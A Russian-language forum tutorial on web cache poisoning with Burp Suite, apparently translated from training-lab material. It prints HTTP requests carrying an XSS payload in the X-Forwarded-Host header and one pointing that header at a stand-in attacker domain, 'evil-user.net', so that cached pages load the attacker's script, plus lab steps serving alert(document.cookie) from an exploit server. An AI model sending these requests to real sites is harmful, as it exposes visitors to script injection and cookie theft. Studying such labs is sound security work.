Что нового

Article [10.2.0] Burp Suite. Exploiting web cache poisoning vulnerabilities

Vander 0

Vander

Команда форума
10.11.2019
495
1 158
Приветствую уважаемую аудиторию форума Protey!

webcache.png

В этом разделе мы более подробно рассмотрим некоторые способы возникновения уязвимостей, отравляющих веб-кеш, и продемонстрируем, как их можно использовать.

Предыдущие статьи цикла можно найти тут:
Короче говоря, веб-сайты уязвимы для отравления веб-кэша, если они обрабатывают неключевой ввод небезопасным способом и позволяют кэшировать последующие HTTP-ответы. Эта уязвимость может использоваться как способ доставки для множества различных атак. В этом разделе мы рассмотрим некоторые распространенные уязвимости отравления веб-кэша и продемонстрируем, как их использовать.

Использование отравления веб-кэша для атаки XSS

Возможно, самая простая уязвимость, которая может использоваться для отравления кеша, - это когда неопубликованный ввод отражается в кешируемом ответе без надлежащей очистки.

Например, рассмотрим следующий запрос и ответ:

Код:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: innocent-website.co.uk

HTTP/1.1 200 OK
Cache-Control: public
<meta property="og:image" content="https://innocent-website.co.uk/cms/social.png" />
Здесь значение заголовка X-Forwarded-Host используется для динамической генерации URL-адреса изображения Open Graph, который затем отражается в ответе. Крайне важно, что для отравления веб-кэша заголовок X-Forwarded-Host часто не используется. В этом примере кэш потенциально уязвим для отравления ответом, содержащим простую полезную нагрузку XSS:

Код:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

HTTP/1.1 200 OK
Cache-Control: public
<meta property="og:image" content="https://a."><script>alert(1)</script>"/cms/social.png" />
Если этот ответ был кэширован, все пользователи, которые обращались к / en? Region = uk, будут получать полезную нагрузку XSS. Этот пример просто заставляет предупреждение появляться в браузере жертвы, но реальная атака может потенциально украсть пароли и взломать учетные записи пользователей.

Использование отравления веб-кэша для использования небезопасной обработки импорта ресурсов

Некоторые веб-сайты используют неключевые заголовки для динамической генерации URL-адресов для импорта ресурсов, таких как файлы JavaScript с внешним размещением. В этом случае, если злоумышленник изменит значение соответствующего заголовка на домен, которым он управляет, он может потенциально манипулировать созданным URL-адресом, чтобы указывать вместо этого на свой собственный вредоносный файл JavaScript.

Если ответ, содержащий этот вредоносный URL-адрес, кэшируется, файл JavaScript злоумышленника будет импортирован и выполнен в сеансе браузера любого пользователя, запрос которого имеет соответствующий ключ кэша.

Код:
GET / HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: evil-user.net
User-Agent: Mozilla/5.0 Firefox/57.0

HTTP/1.1 200 OK
<script src="https://evil-user.net/static/analytics.js"></script>
Практический пример:

Отравление веб-кэша с неключевым заголовком

Сайт уязвим для отравления веб-кэша, потому что он обрабатывает ввод из неключевого заголовка небезопасным способом. Пользователь посещает домашнюю страницу примерно раз в минуту. Чтобы решить эту задачу, нужно отравить кеш ответом, который запускает оповещение (document.cookie) в браузере посетителя.

Сайт поддерживает заголовок X-Forwarded-Host.
  • Запустив Burp, загрузите домашнюю страницу сайта.
  • В Burp перейдите к «Proxy »> «HTTP history » и изучите сгенерированные вами запросы и ответы. Найдите запрос GET для домашней страницы и отправьте его в Burp Repeater.
  • Добавьте параметр запроса кеша, например ?сb = 1234.
  • Добавьте заголовок X-Forwarded-Host с произвольным именем хоста, например example.com, и отправьте запрос.
1586701859817.png

  • Обратите внимание, что заголовок X-Forwarded-Host был использован для динамической генерации абсолютного URL-адреса для импорта файла JavaScript, хранящегося по адресу /resources/js/tracking.js.
  • Повторите запрос и обратите внимание, что ответ содержит заголовок X-Cache: hit. Это говорит нам о том, что ответ пришел из кеша.
1586701934314.png

  • Перейдите на сервер эксплойтов и измените имя файла в соответствии с путем, используемым уязвимым ответом: /resources/js/tracking.js
  • В теле введите предупреждение о полезной нагрузке (document.cookie) и сохраните эксплойт.
1586702204830.png

  • Откройте запрос GET для домашней страницы в Burp Repeater и удалите кеш-буфер.
  • Добавьте следующий заголовок, не забывая вводить собственный идентификатор сервера эксплойтов:
  • X-Forwarded-Host: your-exploit-server-id.web-security-academy.net
  • Отправьте ваш вредоносный запрос. Повторяйте запрос до тех пор, пока URL-адрес вашего сервера эксплойта не будет отражен в ответе, а примет вид X-Cache: hit.
1586703853480.png

  • Чтобы смоделировать жертву, загрузите отравленный URL-адрес в браузере и убедитесь, что оповещение () запущено. Обратите внимание, что вы должны выполнить этот тест до истечения срока действия кэша. Кеш в этой лаборатории истекает каждые 30 секунд.
Спасибо за внимание, материал подготовлен специально для форума protey.net
 
Последнее редактирование:
Верх Низ